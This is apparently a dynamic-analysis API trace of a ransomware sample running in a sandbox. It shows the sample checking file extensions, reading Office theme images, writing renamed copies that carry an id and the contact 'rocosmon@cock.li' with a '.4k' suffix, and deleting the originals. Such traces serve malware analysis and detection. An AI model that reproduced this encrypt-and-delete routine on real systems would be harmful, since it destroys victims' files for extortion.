	[0102.583] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.583] lstrlenW (lpString=".bz2") returned 4
	[0102.583] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString=".7z") returned 3
	[0102.583] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".dbf") returned 4
	[0102.583] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".1cd") returned 4
	[0102.583] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.584] lstrlenW (lpString=".jpg") returned 4
	[0102.584] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.584] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.584] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.584] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1925) returned 1
	[0102.584] CloseHandle (hObject=0x1d0) returned 1
	[0102.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20
	[0102.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.584] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.584] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0102.589] GetLastError () returned 0x0
	[0102.589] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x785, lpOverlapped=0x0) returned 1
	[0102.658] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0102.659] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.659] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.659] SetEndOfFile (hFile=0x21c) returned 1
	[0102.659] CloseHandle (hObject=0x21c) returned 1
	[0102.659] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.659] SetEndOfFile (hFile=0x1d0) returned 1
	[0102.660] CloseHandle (hObject=0x1d0) returned 1
	[0102.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1
	[0102.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.660] lstrlenW (lpString=".doc") returned 4
	[0102.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.660] lstrlenW (lpString=".docx") returned 5
	[0102.660] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.661] lstrlenW (lpString=".pdf") returned 4
	[0102.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString=".xls") returned 4
	[0102.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString=".xlsx") returned 5
	[0102.661] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.661] lstrlenW (lpString=".ppt") returned 4
	[0102.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString=".zip") returned 4
	[0102.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString=".rar") returned 4
	[0102.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString=".bz2") returned 4
	[0102.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.661] lstrlenW (lpString=".7z") returned 3
	[0102.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString=".dbf") returned 4
	[0102.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString=".1cd") returned 4
	[0102.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString=".jpg") returned 4
	[0102.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.661] lstrlenW (lpString=".doc") returned 4
	[0102.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.661] lstrlenW (lpString=".docx") returned 5
	[0102.661] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.661] lstrlenW (lpString=".pdf") returned 4
	[0102.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.661] lstrlenW (lpString=".xls") returned 4
	[0102.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.662] lstrlenW (lpString=".xlsx") returned 5
	[0102.662] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.662] lstrlenW (lpString=".ppt") returned 4
	[0102.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.662] lstrlenW (lpString=".zip") returned 4
	[0102.662] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.662] lstrlenW (lpString=".rar") returned 4
	[0102.662] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.662] lstrlenW (lpString=".bz2") returned 4
	[0102.662] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.662] lstrlenW (lpString=".7z") returned 3
	[0102.662] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.662] lstrlenW (lpString=".dbf") returned 4
	[0102.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.662] lstrlenW (lpString=".1cd") returned 4
	[0102.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0102.662] lstrlenW (lpString=".jpg") returned 4
	[0102.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.662] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.662] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.663] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=31837) returned 1
	[0102.663] CloseHandle (hObject=0x1d0) returned 1
	[0102.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20
	[0102.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.663] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.663] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0102.664] GetLastError () returned 0x0
	[0102.664] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x7c5d, lpOverlapped=0x0) returned 1
	[0102.817] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7c60, lpOverlapped=0x0) returned 1
	[0102.819] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.819] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.819] SetEndOfFile (hFile=0x21c) returned 1
	[0102.819] CloseHandle (hObject=0x21c) returned 1
	[0102.820] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.820] SetEndOfFile (hFile=0x1d0) returned 1
	[0102.821] CloseHandle (hObject=0x1d0) returned 1
	[0102.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1
	[0102.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.821] lstrlenW (lpString=".doc") returned 4
	[0102.821] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.821] lstrlenW (lpString=".docx") returned 5
	[0102.821] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.821] lstrlenW (lpString=".pdf") returned 4
	[0102.822] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.822] lstrlenW (lpString=".xls") returned 4
	[0102.822] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.822] lstrlenW (lpString=".xlsx") returned 5
	[0102.822] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.822] lstrlenW (lpString=".ppt") returned 4
	[0102.822] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.822] lstrlenW (lpString=".zip") returned 4
	[0102.822] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.822] lstrlenW (lpString=".rar") returned 4
	[0102.822] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.822] lstrlenW (lpString=".bz2") returned 4
	[0102.822] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.822] lstrlenW (lpString=".7z") returned 3
	[0102.822] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.822] lstrlenW (lpString=".dbf") returned 4
	[0102.823] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.823] lstrlenW (lpString=".1cd") returned 4
	[0102.823] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.823] lstrlenW (lpString=".jpg") returned 4
	[0102.823] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.823] lstrlenW (lpString=".doc") returned 4
	[0102.823] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.823] lstrlenW (lpString=".docx") returned 5
	[0102.823] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.823] lstrlenW (lpString=".pdf") returned 4
	[0102.823] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.823] lstrlenW (lpString=".xls") returned 4
	[0102.823] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.823] lstrlenW (lpString=".xlsx") returned 5
	[0102.823] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.823] lstrlenW (lpString=".ppt") returned 4
	[0102.823] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.823] lstrlenW (lpString=".zip") returned 4
	[0102.823] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.823] lstrlenW (lpString=".rar") returned 4
	[0102.823] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.823] lstrlenW (lpString=".bz2") returned 4
	[0102.823] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.824] lstrlenW (lpString=".7z") returned 3
	[0102.824] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.824] lstrlenW (lpString=".dbf") returned 4
	[0102.824] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.824] lstrlenW (lpString=".1cd") returned 4
	[0102.824] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77
	[0102.824] lstrlenW (lpString=".jpg") returned 4
	[0102.824] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.824] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.824] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.849] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=29925) returned 1
	[0102.849] CloseHandle (hObject=0x1ac) returned 1
	[0102.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20
	[0102.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.849] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.849] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.850] GetLastError () returned 0x0
	[0102.850] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x74e5, lpOverlapped=0x0) returned 1
	[0102.858] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x74f0, lpOverlapped=0x0) returned 1
	[0102.860] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.860] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.860] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.860] CloseHandle (hObject=0x1f0) returned 1
	[0102.860] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.860] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.861] CloseHandle (hObject=0x1ac) returned 1
	[0102.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.862] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1
	[0102.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.862] lstrlenW (lpString=".doc") returned 4
	[0102.862] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.862] lstrlenW (lpString=".docx") returned 5
	[0102.862] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.862] lstrlenW (lpString=".pdf") returned 4
	[0102.862] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.862] lstrlenW (lpString=".xls") returned 4
	[0102.862] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.862] lstrlenW (lpString=".xlsx") returned 5
	[0102.862] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.862] lstrlenW (lpString=".ppt") returned 4
	[0102.862] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString=".zip") returned 4
	[0102.863] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.863] lstrlenW (lpString=".rar") returned 4
	[0102.863] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.863] lstrlenW (lpString=".bz2") returned 4
	[0102.863] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.863] lstrlenW (lpString=".7z") returned 3
	[0102.863] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString=".dbf") returned 4
	[0102.863] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString=".1cd") returned 4
	[0102.863] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString=".jpg") returned 4
	[0102.863] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.863] lstrlenW (lpString=".doc") returned 4
	[0102.863] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
